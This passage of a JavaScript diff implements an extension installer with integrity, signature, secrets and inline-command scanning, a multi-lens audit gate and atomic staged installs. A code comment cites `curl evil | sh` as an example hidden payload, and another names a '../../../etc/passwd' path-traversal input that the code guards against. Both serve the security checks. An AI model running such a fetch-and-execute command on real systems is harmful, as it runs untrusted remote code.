throw new Error(`skill file not readable: ${s.file}`);
|
|
542
|
+
});
|
|
543
|
+
out.push({ name: s.name, file: s.file, body, absPath });
|
|
544
|
+
}
|
|
545
|
+
return out;
|
|
546
|
+
}
|
|
547
|
+
|
|
548
|
+
// --- helpers: scope resolution ---------------------------------------------
|
|
549
|
+
|
|
550
|
+
/**
|
|
551
|
+
* Resolve the on-disk scope directory for a given scope + extension name.
|
|
552
|
+
* @param {{scope: 'project'|'org'|'user', projectRoot: string}} opts
|
|
553
|
+
* @param {string} name
|
|
554
|
+
* @returns {string}
|
|
555
|
+
*/
|
|
556
|
+
function resolveScopeDir(opts, name) {
|
|
557
|
+
const home = homedir();
|
|
558
|
+
switch (opts.scope) {
|
|
559
|
+
case 'project':
|
|
560
|
+
if (!opts.projectRoot) {
|
|
561
|
+
throw new Error('project scope requires opts.projectRoot');
|
|
562
|
+
}
|
|
563
|
+
return join(opts.projectRoot, '.ijfw', 'extensions', name);
|
|
564
|
+
case 'org':
|
|
565
|
+
return join(home, '.ijfw', 'extensions-org', name);
|
|
566
|
+
case 'user':
|
|
567
|
+
return join(home, '.ijfw', 'extensions-user', name);
|
|
568
|
+
default:
|
|
569
|
+
throw new Error(`unknown scope: ${opts.scope}`);
|
|
570
|
+
}
|
|
571
|
+
}
|
|
572
|
+
|
|
573
|
+
/**
|
|
574
|
+
* Resolve the registry file path for a given scope.
|
|
575
|
+
* @param {{scope: 'project'|'org'|'user', projectRoot: string}} opts
|
|
576
|
+
* @returns {string}
|
|
577
|
+
*/
|
|
578
|
+
function resolveRegistryPath(opts) {
|
|
579
|
+
const home = homedir();
|
|
580
|
+
switch (opts.scope) {
|
|
581
|
+
case 'project':
|
|
582
|
+
if (!opts.projectRoot) {
|
|
583
|
+
throw new Error('project scope requires opts.projectRoot');
|
|
584
|
+
}
|
|
585
|
+
return join(opts.projectRoot, '.ijfw', 'state', REGISTRY_FILENAME);
|
|
586
|
+
case 'org':
|
|
587
|
+
return join(home, '.ijfw', 'state-org', REGISTRY_FILENAME);
|
|
588
|
+
case 'user':
|
|
589
|
+
return join(home, '.ijfw', 'state-user', REGISTRY_FILENAME);
|
|
590
|
+
default:
|
|
591
|
+
throw new Error(`unknown scope: ${opts.scope}`);
|
|
592
|
+
}
|
|
593
|
+
}
|
|
594
|
+
|
|
595
|
+
/**
|
|
596
|
+
* All registry locations searched by listExtensions().
|
|
597
|
+
* @param {string} projectRoot
|
|
598
|
+
* @returns {Array<{scope: string, path: string}>}
|
|
599
|
+
*/
|
|
600
|
+
function allRegistryPaths(projectRoot) {
|
|
601
|
+
const home = homedir();
|
|
602
|
+
const list = [];
|
|
603
|
+
if (projectRoot) {
|
|
604
|
+
list.push({ scope: 'project', path: join(projectRoot, '.ijfw', 'state', REGISTRY_FILENAME) });
|
|
605
|
+
}
|
|
606
|
+
list.push({ scope: 'org', path: join(home, '.ijfw', 'state-org', REGISTRY_FILENAME) });
|
|
607
|
+
list.push({ scope: 'user', path: join(home, '.ijfw', 'state-user', REGISTRY_FILENAME) });
|
|
608
|
+
return list;
|
|
609
|
+
}
|
|
610
|
+
|
|
611
|
+
async function readRegistry(path) {
|
|
612
|
+
try {
|
|
613
|
+
const raw = await readFile(path, 'utf8');
|
|
614
|
+
const parsed = JSON.parse(raw);
|
|
615
|
+
if (parsed && Array.isArray(parsed.extensions)) return parsed;
|
|
616
|
+
return { extensions: [] };
|
|
617
|
+
} catch {
|
|
618
|
+
return { extensions: [] };
|
|
619
|
+
}
|
|
620
|
+
}
|
|
621
|
+
|
|
622
|
+
async function writeRegistry(path, registry) {
|
|
623
|
+
await mkdir(dirname(path), { recursive: true });
|
|
624
|
+
// Atomic write: tmp + rename. Use pid + 4-byte random suffix so concurrent
|
|
625
|
+
// writes (same pid, parallel async calls, or two installer processes) cannot
|
|
626
|
+
// collide on a single tmp filename and clobber each other's in-flight state.
|
|
627
|
+
const tmp = `${path}.tmp.${process.pid}.${randomBytes(4).toString('hex')}`;
|
|
628
|
+
const body = JSON.stringify(registry, null, 2) + '\n';
|
|
629
|
+
try {
|
|
630
|
+
await writeFile(tmp, body, 'utf8');
|
|
631
|
+
await rename(tmp, path);
|
|
632
|
+
} catch (err) {
|
|
633
|
+
// Best-effort cleanup of the tmp file if rename failed mid-flight.
|
|
634
|
+
try { await rm(tmp, { force: true }); } catch { /* swallow */ }
|
|
635
|
+
throw err;
|
|
636
|
+
}
|
|
637
|
+
}
|
|
638
|
+
|
|
639
|
+
// --- exported helpers -------------------------------------------------------
|
|
640
|
+
|
|
641
|
+
// Per-skill audit-brief budget. 20 KiB comfortably accommodates the long tail
|
|
642
|
+
// of real-world skill bodies (typical < 5 KiB) while preventing the brief from
|
|
643
|
+
// ballooning if a skill ships a multi-megabyte body. When a body exceeds the
|
|
644
|
+
// cap, we keep the first 18 KiB AND the last 1.5 KiB with a truncation marker
|
|
645
|
+
// so adversarial payloads tucked at the bottom (e.g. `curl evil | sh` after
|
|
646
|
+
// 19 KiB of innocuous prose) still surface to Trident.
|
|
647
|
+
const AUDIT_BRIEF_SKILL_BUDGET = 20_000;
|
|
648
|
+
const AUDIT_BRIEF_HEAD_BYTES = 18_000;
|
|
649
|
+
const AUDIT_BRIEF_TAIL_BYTES = 1_500;
|
|
650
|
+
|
|
651
|
+
/**
|
|
652
|
+
* Build the per-skill body excerpt for the audit brief. Bodies under the
|
|
653
|
+
* budget pass through unchanged. Bodies over the budget are head+tail
|
|
654
|
+
* truncated with an explicit `... [truncated N chars] ...` marker so the
|
|
655
|
+
* audit lens (and any human reviewer) can see what was dropped.
|
|
656
|
+
*
|
|
657
|
+
* @param {string} body
|
|
658
|
+
* @returns {string}
|
|
659
|
+
*/
|
|
660
|
+
function buildAuditBriefExcerpt(body) {
|
|
661
|
+
if (typeof body !== 'string' || body.length === 0) return '';
|
|
662
|
+
if (body.length <= AUDIT_BRIEF_SKILL_BUDGET) return body;
|
|
663
|
+
const head = body.slice(0, AUDIT_BRIEF_HEAD_BYTES);
|
|
664
|
+
const tail = body.slice(body.length - AUDIT_BRIEF_TAIL_BYTES);
|
|
665
|
+
const dropped = body.length - AUDIT_BRIEF_HEAD_BYTES - AUDIT_BRIEF_TAIL_BYTES;
|
|
666
|
+
return `${head}\n... [truncated ${dropped} chars] ...\n${tail}`;
|
|
667
|
+
}
|
|
668
|
+
|
|
669
|
+
/**
|
|
670
|
+
* Build the markdown brief passed to the Trident audit. Exported so tests can
|
|
671
|
+
* assert on payload shape.
|
|
672
|
+
*
|
|
673
|
+
* @param {object} manifest
|
|
674
|
+
* @param {Array<{name: string, file: string, body: string}>} skillBodies
|
|
675
|
+
* @returns {string}
|
|
676
|
+
*/
|
|
677
|
+
export function extensionAuditBrief(manifest, skillBodies) {
|
|
678
|
+
const m = manifest || {};
|
|
679
|
+
const skills = Array.isArray(skillBodies) ? skillBodies : [];
|
|
680
|
+
const lines = [];
|
|
681
|
+
lines.push('# Extension Install Audit Brief');
|
|
682
|
+
lines.push('');
|
|
683
|
+
lines.push('## Manifest');
|
|
684
|
+
lines.push(`- name: ${m.name ?? '(unknown)'}`);
|
|
685
|
+
lines.push(`- version: ${m.version ?? '(unknown)'}`);
|
|
686
|
+
lines.push(`- type: ${m.type ?? '(unknown)'}`);
|
|
687
|
+
if (m.author) lines.push(`- author: ${m.author}`);
|
|
688
|
+
if (m.license) lines.push(`- license: ${m.license}`);
|
|
689
|
+
if (m.description) lines.push(`- description: ${m.description}`);
|
|
690
|
+
lines.push(`- integrity: ${m.integrity ?? '(none)'}`);
|
|
691
|
+
if (m.ijfw_requires) lines.push(`- ijfw_requires: ${m.ijfw_requires}`);
|
|
692
|
+
|
|
693
|
+
const reads = m.permissions?.reads ?? [];
|
|
694
|
+
const writes = m.permissions?.writes ?? [];
|
|
695
|
+
lines.push('');
|
|
696
|
+
lines.push('## Declared Permissions');
|
|
697
|
+
lines.push(`- reads: ${reads.length ? reads.join(', ') : '(none)'}`);
|
|
698
|
+
lines.push(`- writes: ${writes.length ? writes.join(', ') : '(none)'}`);
|
|
699
|
+
|
|
700
|
+
if (Array.isArray(m.overrides) && m.overrides.length) {
|
|
701
|
+
lines.push('');
|
|
702
|
+
lines.push('## Overrides');
|
|
703
|
+
for (const o of m.overrides) {
|
|
704
|
+
lines.push(`- ${o.skill ?? '(unknown)'} -> ${o.file ?? '(unknown)'}`);
|
|
705
|
+
}
|
|
706
|
+
}
|
|
707
|
+
|
|
708
|
+
lines.push('');
|
|
709
|
+
lines.push(`## Skills (${skills.length})`);
|
|
710
|
+
for (const s of skills) {
|
|
711
|
+
lines.push('');
|
|
712
|
+
lines.push(`### ${s.name} (${s.file})`);
|
|
713
|
+
const excerpt = buildAuditBriefExcerpt(typeof s.body === 'string' ? s.body : '');
|
|
714
|
+
lines.push('```');
|
|
715
|
+
lines.push(excerpt);
|
|
716
|
+
lines.push('```');
|
|
717
|
+
}
|
|
718
|
+
return lines.join('\n');
|
|
719
|
+
}
|
|
720
|
+
|
|
721
|
+
// --- install ----------------------------------------------------------------
|
|
722
|
+
|
|
723
|
+
/**
|
|
724
|
+
* Install an extension from npm, local path, or https git URL.
|
|
725
|
+
*
|
|
726
|
+
* @param {string} source
|
|
727
|
+
* @param {{
|
|
728
|
+
* scope: 'project'|'org'|'user',
|
|
729
|
+
* projectRoot: string,
|
|
730
|
+
* force?: boolean,
|
|
731
|
+
* accept_degraded_trident?: boolean,
|
|
732
|
+
* tridentExecutor?: Function, // test seam — forwarded as runTrident({executor})
|
|
733
|
+
* }} opts
|
|
734
|
+
* @returns {Promise<{ok: boolean, name?: string, version?: string, scope?: string, gate_result_block?: string, errors?: string[]}>}
|
|
735
|
+
*/
|
|
736
|
+
export async function installExtension(source, opts = {}) {
|
|
737
|
+
if (!opts || typeof opts !== 'object') {
|
|
738
|
+
return { ok: false, errors: ['installExtension: opts is required'] };
|
|
739
|
+
}
|
|
740
|
+
if (opts.scope !== 'project' && opts.scope !== 'org' && opts.scope !== 'user') {
|
|
741
|
+
return { ok: false, errors: ['installExtension: opts.scope must be project|org|user'] };
|
|
742
|
+
}
|
|
743
|
+
if (opts.scope === 'project' && (!opts.projectRoot || typeof opts.projectRoot !== 'string')) {
|
|
744
|
+
return { ok: false, errors: ['installExtension: project scope requires opts.projectRoot'] };
|
|
745
|
+
}
|
|
746
|
+
|
|
747
|
+
let fetched = null;
|
|
748
|
+
let gateResultBlock;
|
|
749
|
+
|
|
750
|
+
try {
|
|
751
|
+
// 1. Resolve & fetch.
|
|
752
|
+
const kind = classifySource(source);
|
|
753
|
+
if (kind === 'npm') fetched = await fetchNpmExtension(source);
|
|
754
|
+
else if (kind === 'local') fetched = await fetchLocalExtension(source);
|
|
755
|
+
else if (kind === 'git') fetched = await fetchGitExtension(source);
|
|
756
|
+
else {
|
|
757
|
+
return { ok: false, errors: [`unknown source kind: ${kind}`] };
|
|
758
|
+
}
|
|
759
|
+
|
|
760
|
+
const extensionDir = fetched.dir;
|
|
761
|
+
|
|
762
|
+
// 2. Read + validate manifest.
|
|
763
|
+
const manifest = await readManifest(extensionDir);
|
|
764
|
+
const schemaResult = validateExtensionManifest(manifest);
|
|
765
|
+
if (!schemaResult.valid) {
|
|
766
|
+
return { ok: false, errors: schemaResult.errors.map((e) => `manifest: ${e}`) };
|
|
767
|
+
}
|
|
768
|
+
|
|
769
|
+
// 3. Verify integrity hash.
|
|
770
|
+
const integrity = verifyIntegrity(manifest);
|
|
771
|
+
if (!integrity.valid) {
|
|
772
|
+
return {
|
|
773
|
+
ok: false,
|
|
774
|
+
errors: [
|
|
775
|
+
`integrity: hash verification failed (expected ${integrity.expected ?? '(none)'}, got ${integrity.got ?? '(none)'})`,
|
|
776
|
+
],
|
|
777
|
+
};
|
|
778
|
+
}
|
|
779
|
+
|
|
780
|
+
// 3b. W7/B1: signature verification. Unsigned manifests are allowed only
|
|
781
|
+
// when opts.allowUnsigned is set. Signed manifests must verify against a
|
|
782
|
+
// trusted publisher unless opts.acceptUntrusted overrides.
|
|
783
|
+
if (manifest.signature) {
|
|
784
|
+
const trustedKeys = await readTrustedPublishers();
|
|
785
|
+
const sigCheck = verifyManifestSignature(manifest, trustedKeys);
|
|
786
|
+
if (!sigCheck.valid) {
|
|
787
|
+
if (!opts.acceptUntrusted) {
|
|
788
|
+
const kidHint = sigCheck.publisherKeyId
|
|
789
|
+
? ` (publisher_key_id: ${sigCheck.publisherKeyId} — trust with "ijfw extension trust <keyId> <publicKey>" if you know this publisher)`
|
|
790
|
+
: '';
|
|
791
|
+
return {
|
|
792
|
+
ok: false,
|
|
793
|
+
errors: [`signature: verify failed: ${sigCheck.reason}${kidHint}`],
|
|
794
|
+
};
|
|
795
|
+
}
|
|
796
|
+
// B11: when stdin is a TTY, require the user to confirm by typing the
|
|
797
|
+
// last 8 chars of the keyId. Non-TTY (CI / scripted) falls through to
|
|
798
|
+
// the stderr-warn path unchanged — no regression for automation.
|
|
799
|
+
if (process.stdin.isTTY === true && sigCheck.publisherKeyId) {
|
|
800
|
+
const confirmed = await promptUntrustedConfirmation(sigCheck.publisherKeyId);
|
|
801
|
+
if (!confirmed) {
|
|
802
|
+
return { ok: false, errors: ['signature: untrusted confirmation cancelled'] };
|
|
803
|
+
}
|
|
804
|
+
}
|
|
805
|
+
process.stderr.write(
|
|
806
|
+
`[ijfw] extension-installer: signature unverified for ${manifest.name}: ${sigCheck.reason}\n`,
|
|
807
|
+
);
|
|
808
|
+
}
|
|
809
|
+
} else if (!opts.allowUnsigned) {
|
|
810
|
+
return {
|
|
811
|
+
ok: false,
|
|
812
|
+
errors: ['signature: unsigned extension; pass --allow-unsigned to install anyway'],
|
|
813
|
+
};
|
|
814
|
+
}
|
|
815
|
+
|
|
816
|
+
// 4. Permissions allowlist check.
|
|
817
|
+
const permResult = validatePermissions(manifest);
|
|
818
|
+
if (!permResult.valid) {
|
|
819
|
+
return { ok: false, errors: permResult.errors.map((e) => `permissions: ${e}`) };
|
|
820
|
+
}
|
|
821
|
+
|
|
822
|
+
// 5. Static analysis: secrets scan + inline-command scan.
|
|
823
|
+
const secretsResult = await scanExtensionForSecrets(extensionDir);
|
|
824
|
+
if (!secretsResult.clean) {
|
|
825
|
+
const findingsLines = secretsResult.findings
|
|
826
|
+
.slice(0, 20)
|
|
827
|
+
.map((f) => `secrets: ${f.file}:${f.line} kind=${f.kind}`);
|
|
828
|
+
return { ok: false, errors: findingsLines };
|
|
829
|
+
}
|
|
830
|
+
|
|
831
|
+
const skillBodies = await readSkillBodies(manifest, extensionDir);
|
|
832
|
+
const cmdFindings = [];
|
|
833
|
+
for (const sb of skillBodies) {
|
|
834
|
+
const r = scanInlineCommands(sb.body);
|
|
835
|
+
if (!r.clean) {
|
|
836
|
+
for (const f of r.findings) {
|
|
837
|
+
cmdFindings.push(`unsafe-command in ${sb.file}: ${f.command} (${f.reason})`);
|
|
838
|
+
}
|
|
839
|
+
}
|
|
840
|
+
}
|
|
841
|
+
if (cmdFindings.length > 0) {
|
|
842
|
+
return { ok: false, errors: cmdFindings };
|
|
843
|
+
}
|
|
844
|
+
|
|
845
|
+
// 6. Trident install gate.
|
|
846
|
+
const brief = extensionAuditBrief(manifest, skillBodies);
|
|
847
|
+
const tridentOpts = {
|
|
848
|
+
brief,
|
|
849
|
+
gate: 'extension-install',
|
|
850
|
+
accept_degraded: !!opts.accept_degraded_trident,
|
|
851
|
+
projectRoot: opts.projectRoot,
|
|
852
|
+
};
|
|
853
|
+
if (typeof opts.tridentExecutor === 'function') {
|
|
854
|
+
tridentOpts.executor = opts.tridentExecutor;
|
|
855
|
+
}
|
|
856
|
+
|
|
857
|
+
let tridentResult;
|
|
858
|
+
try {
|
|
859
|
+
tridentResult = await runTrident(tridentOpts);
|
|
860
|
+
} catch (err) {
|
|
861
|
+
// DegradedTridentError or any other failure aborts the install.
|
|
862
|
+
gateResultBlock = await emitGateResult(
|
|
863
|
+
{
|
|
864
|
+
gate: 'extension-install',
|
|
865
|
+
status: 'FAIL',
|
|
866
|
+
lenses: [],
|
|
867
|
+
affected_artifacts: [
|
|
868
|
+
{ type: 'file', ref: 'manifest.json', role: 'extension-manifest' },
|
|
869
|
+
],
|
|
870
|
+
accounting: { duration_ms: 0, lenses_invoked: 0, cost_usd: null },
|
|
871
|
+
remediation: [
|
|
872
|
+
{
|
|
873
|
+
action: 'Trident audit could not run (degraded or offline).',
|
|
874
|
+
target: manifest.name || 'extension',
|
|
875
|
+
agent_recommended: 'human-review',
|
|
876
|
+
confidence: 0.5,
|
|
877
|
+
},
|
|
878
|
+
],
|
|
879
|
+
},
|
|
880
|
+
{ projectRoot: opts.projectRoot },
|
|
881
|
+
).catch(() => undefined);
|
|
882
|
+
return {
|
|
883
|
+
ok: false,
|
|
884
|
+
errors: [`trident: ${err && err.message ? err.message : String(err)}`],
|
|
885
|
+
gate_result_block: gateResultBlock,
|
|
886
|
+
};
|
|
887
|
+
}
|
|
888
|
+
|
|
889
|
+
// R6 degraded behavior:
|
|
890
|
+
// 3/3 -> PASS or CONDITIONAL required
|
|
891
|
+
// 2/3 -> CONDITIONAL blocking unless accept_degraded_trident
|
|
892
|
+
// 1/3 -> install rejected unless accept_degraded_trident
|
|
893
|
+
// 0/3 -> impossible here (runTrident throws first)
|
|
894
|
+
const verdict = tridentResult.verdict;
|
|
895
|
+
const mode = tridentResult.mode;
|
|
896
|
+
let acceptable = false;
|
|
897
|
+
if (mode === 'full') {
|
|
898
|
+
acceptable = ACCEPTABLE_VERDICTS.has(verdict);
|
|
899
|
+
} else if (mode === 'partial') {
|
|
900
|
+
acceptable = opts.accept_degraded_trident && ACCEPTABLE_VERDICTS.has(verdict);
|
|
901
|
+
} else if (mode === 'single-lens-accepted') {
|
|
902
|
+
acceptable = opts.accept_degraded_trident && ACCEPTABLE_VERDICTS.has(verdict);
|
|
903
|
+
} else {
|
|
904
|
+
// single-lens-degraded / offline / anything else: not acceptable
|
|
905
|
+
acceptable = false;
|
|
906
|
+
}
|
|
907
|
+
|
|
908
|
+
const lensesForGate = (tridentResult.lens_results || []).map((lr) => {
|
|
909
|
+
const rawVerdict = String(lr.verdict || '').toUpperCase();
|
|
910
|
+
const knownVerdict = ACCEPTABLE_VERDICTS.has(rawVerdict) ||
|
|
911
|
+
['WARN', 'FLAG', 'FAIL'].includes(rawVerdict);
|
|
912
|
+
const findings = Array.isArray(lr.findings) ? lr.findings : [];
|
|
913
|
+
const summary = findings.length
|
|
914
|
+
? findings.slice(0, 3).map((f) => (typeof f === 'string' ? f : (f?.message || JSON.stringify(f)))).join('; ')
|
|
915
|
+
: (lr.note || '(no findings)');
|
|
916
|
+
return {
|
|
917
|
+
model: String(lr.lens || 'unknown'),
|
|
918
|
+
verdict: knownVerdict ? rawVerdict : 'WARN',
|
|
919
|
+
confidence: typeof lr.confidence === 'number' && lr.confidence >= 0 && lr.confidence <= 1
|
|
920
|
+
? lr.confidence
|
|
921
|
+
: 0.5,
|
|
922
|
+
summary: String(summary).slice(0, 500),
|
|
923
|
+
};
|
|
924
|
+
});
|
|
925
|
+
|
|
926
|
+
gateResultBlock = await emitGateResult(
|
|
927
|
+
{
|
|
928
|
+
gate: 'extension-install',
|
|
929
|
+
status: verdict,
|
|
930
|
+
lenses: lensesForGate,
|
|
931
|
+
affected_artifacts: [
|
|
932
|
+
{ type: 'file', ref: 'manifest.json', role: 'extension-manifest' },
|
|
933
|
+
],
|
|
934
|
+
accounting: {
|
|
935
|
+
duration_ms: 0,
|
|
936
|
+
lenses_invoked: tridentResult.lens_results?.length ?? 0,
|
|
937
|
+
cost_usd: null,
|
|
938
|
+
},
|
|
939
|
+
remediation: acceptable
|
|
940
|
+
? []
|
|
941
|
+
: [
|
|
942
|
+
{
|
|
943
|
+
action: `Trident verdict ${verdict} in mode ${mode}; install blocked. ` +
|
|
944
|
+
`Pass accept_degraded_trident:true after human review to override.`,
|
|
945
|
+
target: manifest.name || 'extension',
|
|
946
|
+
agent_recommended: 'human-review',
|
|
947
|
+
confidence: 0.5,
|
|
948
|
+
},
|
|
949
|
+
],
|
|
950
|
+
},
|
|
951
|
+
{ projectRoot: opts.projectRoot },
|
|
952
|
+
).catch(() => undefined);
|
|
953
|
+
|
|
954
|
+
if (!acceptable) {
|
|
955
|
+
return {
|
|
956
|
+
ok: false,
|
|
957
|
+
errors: [
|
|
958
|
+
`trident: verdict ${verdict} in mode ${mode} blocks install`,
|
|
959
|
+
],
|
|
960
|
+
gate_result_block: gateResultBlock,
|
|
961
|
+
};
|
|
962
|
+
}
|
|
963
|
+
|
|
964
|
+
// 7. Copy skill files into scope dir.
|
|
965
|
+
if (manifest.type !== 'skill-only') {
|
|
966
|
+
return {
|
|
967
|
+
ok: false,
|
|
968
|
+
errors: [`manifest.type ${manifest.type} not supported in v1.4.0`],
|
|
969
|
+
gate_result_block: gateResultBlock,
|
|
970
|
+
};
|
|
971
|
+
}
|
|
972
|
+
|
|
973
|
+
const scopeDir = resolveScopeDir(opts, manifest.name);
|
|
974
|
+
|
|
975
|
+
// 7a. Atomic install: stage into a sibling tmp dir, then rename into place.
|
|
976
|
+
// Sequence guarantees that we NEVER leave a registered-but-incomplete
|
|
977
|
+
// extension on disk. A crash during copy leaves either (a) the previous
|
|
978
|
+
// scopeDir intact, or (b) an orphan tmpScopeDir which is cleanable on
|
|
979
|
+
// retry. Registry writes happen only after the rename succeeds.
|
|
980
|
+
const tmpScopeDir = `${scopeDir}.tmp.${process.pid}.${randomBytes(4).toString('hex')}`;
|
|
981
|
+
try {
|
|
982
|
+
// Best-effort clean of any stale tmp from a prior crashed install.
|
|
983
|
+
await rm(tmpScopeDir, { recursive: true, force: true });
|
|
984
|
+
await mkdir(tmpScopeDir, { recursive: true });
|
|
985
|
+
|
|
986
|
+
// Always carry the manifest itself.
|
|
987
|
+
await writeFile(
|
|
988
|
+
join(tmpScopeDir, 'manifest.json'),
|
|
989
|
+
JSON.stringify(manifest, null, 2) + '\n',
|
|
990
|
+
'utf8',
|
|
991
|
+
);
|
|
992
|
+
|
|
993
|
+
// Copy skill files preserving relative layout.
|
|
994
|
+
const skillsRoot = join(tmpScopeDir, 'skills');
|
|
995
|
+
await mkdir(skillsRoot, { recursive: true });
|
|
996
|
+
for (const s of skillBodies) {
|
|
997
|
+
const dst = join(skillsRoot, s.file);
|
|
998
|
+
await mkdir(dirname(dst), { recursive: true });
|
|
999
|
+
await cp(s.absPath, dst, { force: true });
|
|
1000
|
+
}
|
|
1001
|
+
|
|
1002
|
+
// Atomic flip: drop old scopeDir, rename tmp -> scope. fs.rename is
|
|
1003
|
+
// atomic on POSIX when source/dest are on the same filesystem (they are
|
|
1004
|
+
// — same parent directory). On Windows rename to existing dir fails, so
|
|
1005
|
+
// we rm first; the rm+rename combo is non-atomic on Windows but the
|
|
1006
|
+
// invariant ("never registered-but-incomplete") still holds because
|
|
1007
|
+
// the registry update is downstream of this block.
|
|
1008
|
+
await rm(scopeDir, { recursive: true, force: true });
|
|
1009
|
+
await rename(tmpScopeDir, scopeDir);
|
|
1010
|
+
} catch (err) {
|
|
1011
|
+
// Staging failed. Try to leave the filesystem in a clean state — the
|
|
1012
|
+
// tmp dir we created is the only orphan we own.
|
|
1013
|
+
await rm(tmpScopeDir, { recursive: true, force: true }).catch(() => {});
|
|
1014
|
+
throw err;
|
|
1015
|
+
}
|
|
1016
|
+
|
|
1017
|
+
// 8. Register (only after scopeDir is fully populated + renamed).
|
|
1018
|
+
const registryPath = resolveRegistryPath(opts);
|
|
1019
|
+
const registry = await readRegistry(registryPath);
|
|
1020
|
+
const filtered = registry.extensions.filter((e) => e.name !== manifest.name);
|
|
1021
|
+
filtered.push({
|
|
1022
|
+
name: manifest.name,
|
|
1023
|
+
version: manifest.version,
|
|
1024
|
+
scope: opts.scope,
|
|
1025
|
+
installed_at: new Date().toISOString(),
|
|
1026
|
+
manifest,
|
|
1027
|
+
last_trident_verdict: verdict,
|
|
1028
|
+
});
|
|
1029
|
+
await writeRegistry(registryPath, { extensions: filtered });
|
|
1030
|
+
|
|
1031
|
+
// 9. Cross-platform skill deploy + AGENTS.md injection (W2b / t11).
|
|
1032
|
+
// Project scope only — org/user scopes deploy lazily at session start
|
|
1033
|
+
// via override-resolver. Failures here do NOT unwind the install (the
|
|
1034
|
+
// extension is already registered); they surface as deploy_partial.
|
|
1035
|
+
let deployInfo;
|
|
1036
|
+
let deployPartial = false;
|
|
1037
|
+
if (opts.scope === 'project') {
|
|
1038
|
+
try {
|
|
1039
|
+
const skillList = Array.isArray(manifest.skills) ? manifest.skills : [];
|
|
1040
|
+
const d = await deployExtensionSkillsToPlatforms(
|
|
1041
|
+
manifest.name,
|
|
1042
|
+
skillList,
|
|
1043
|
+
opts.projectRoot,
|
|
1044
|
+
{},
|
|
1045
|
+
);
|
|
1046
|
+
deployInfo = {
|
|
1047
|
+
deployed: d.deployed,
|
|
1048
|
+
failed: d.failed,
|
|
1049
|
+
receiptPath: d.receiptPath,
|
|
1050
|
+
};
|
|
1051
|
+
if (Array.isArray(d.failed) && d.failed.length > 0) deployPartial = true;
|
|
1052
|
+
} catch (err) {
|
|
1053
|
+
const msg = err && err.message ? err.message : String(err);
|
|
1054
|
+
process.stderr.write(
|
|
1055
|
+
`[ijfw] extension-installer: skill deploy failed for ${manifest.name}: ${msg}\n`,
|
|
1056
|
+
);
|
|
1057
|
+
deployPartial = true;
|
|
1058
|
+
deployInfo = { deployed: [], failed: [{ platform: '*', skillName: '*', error: msg }] };
|
|
1059
|
+
}
|
|
1060
|
+
try {
|
|
1061
|
+
await deployExtensionToAgentsMd(
|
|
1062
|
+
manifest.name,
|
|
1063
|
+
Array.isArray(manifest.skills) ? manifest.skills : [],
|
|
1064
|
+
opts.projectRoot,
|
|
1065
|
+
);
|
|
1066
|
+
} catch (err) {
|
|
1067
|
+
const msg = err && err.message ? err.message : String(err);
|
|
1068
|
+
process.stderr.write(
|
|
1069
|
+
`[ijfw] extension-installer: AGENTS.md inject failed for ${manifest.name}: ${msg}\n`,
|
|
1070
|
+
);
|
|
1071
|
+
deployPartial = true;
|
|
1072
|
+
}
|
|
1073
|
+
}
|
|
1074
|
+
|
|
1075
|
+
// W7.1/B2-H-01: if opts.activate, write the active-extension state.
|
|
1076
|
+
if (opts.activate === true && manifest.permissions) {
|
|
1077
|
+
try {
|
|
1078
|
+
const { writeActiveExtension } = await import('./active-extension-writer.js');
|
|
1079
|
+
await writeActiveExtension(manifest, opts.scope);
|
|
1080
|
+
} catch (err) {
|
|
1081
|
+
// Non-fatal -- install succeeded; surface as a warning.
|
|
1082
|
+
process.stderr.write(`[ijfw] extension-installer: install succeeded but auto-activate failed: ${err.message}\n`);
|
|
1083
|
+
}
|
|
1084
|
+
}
|
|
1085
|
+
|
|
1086
|
+
return {
|
|
1087
|
+
ok: true,
|
|
1088
|
+
name: manifest.name,
|
|
1089
|
+
version: manifest.version,
|
|
1090
|
+
scope: opts.scope,
|
|
1091
|
+
gate_result_block: gateResultBlock,
|
|
1092
|
+
deploy: deployInfo,
|
|
1093
|
+
deploy_partial: deployPartial,
|
|
1094
|
+
};
|
|
1095
|
+
} catch (err) {
|
|
1096
|
+
return {
|
|
1097
|
+
ok: false,
|
|
1098
|
+
errors: [err && err.message ? err.message : String(err)],
|
|
1099
|
+
gate_result_block: gateResultBlock,
|
|
1100
|
+
};
|
|
1101
|
+
} finally {
|
|
1102
|
+
if (fetched && typeof fetched.cleanup === 'function') {
|
|
1103
|
+
await fetched.cleanup().catch(() => {});
|
|
1104
|
+
}
|
|
1105
|
+
}
|
|
1106
|
+
}
|
|
1107
|
+
|
|
1108
|
+
// --- uninstall --------------------------------------------------------------
|
|
1109
|
+
|
|
1110
|
+
/**
|
|
1111
|
+
* Remove an extension's scope directory and registry entry. Idempotent.
|
|
1112
|
+
*
|
|
1113
|
+
* @param {string} name
|
|
1114
|
+
* @param {{scope: 'project'|'org'|'user', projectRoot: string}} opts
|
|
1115
|
+
* @returns {Promise<{ok: boolean, removed: boolean, errors?: string[]}>}
|
|
1116
|
+
*/
|
|
1117
|
+
export async function uninstallExtension(name, opts = {}) {
|
|
1118
|
+
if (!name || typeof name !== 'string') {
|
|
1119
|
+
return { ok: false, removed: false, errors: ['name is required'] };
|
|
1120
|
+
}
|
|
1121
|
+
// Validate name shape BEFORE constructing any filesystem path. Without this,
|
|
1122
|
+
// a name like '../../../etc/passwd' would join into resolveScopeDir() and
|
|
1123
|
+
// become the target of rm({recursive:true}). Same shape as the manifest
|
|
1124
|
+
// schema's name pattern: kebab, or @scope/kebab.
|
|
1125
|
+
if (!EXTENSION_NAME_PATTERN.test(name)) {
|
|
1126
|
+
return { ok: false, removed: false, errors: ['invalid extension name'] };
|
|
1127
|
+
}
|
|
1128
|
+
if (opts.scope !== 'project' && opts.scope !== 'org' && opts.scope !== 'user') {
|
|
1129
|
+
return { ok: false, removed: false, errors: ['opts.scope must be project|org|user'] };
|
|
1130
|
+
}
|
|
1131
|
+
if (opts.scope === 'project' && (!opts.projectRoot || typeof opts.projectRoot !== 'string')) {
|
|
1132
|
+
return { ok: false, removed: false, errors: ['project scope requires opts.projectRoot'] };
|
|
1133
|
+
}
|
|
1134
|
+
|
|
1135
|
+
try {
|
|
1136
|
+
const scopeDir = resolveScopeDir(opts, name);
|
|
1137
|
+
const registryPath = resolveRegistryPath(opts);
|
|
1138
|
+
|
|
1139
|
+
// Belt-and-braces: even with a validated name, confirm the resolved scope
|
|
1140
|
+
// dir lives inside the expected scope root. resolveScopeDir always joins
|
|
1141
|
+
// a known root with the name, but a future refactor could regress this.
|
|
1142
|
+
const scopeRoot = dirname(scopeDir); // e.g. <projectRoot>/.ijfw/extensions
|
|
1143
|
+
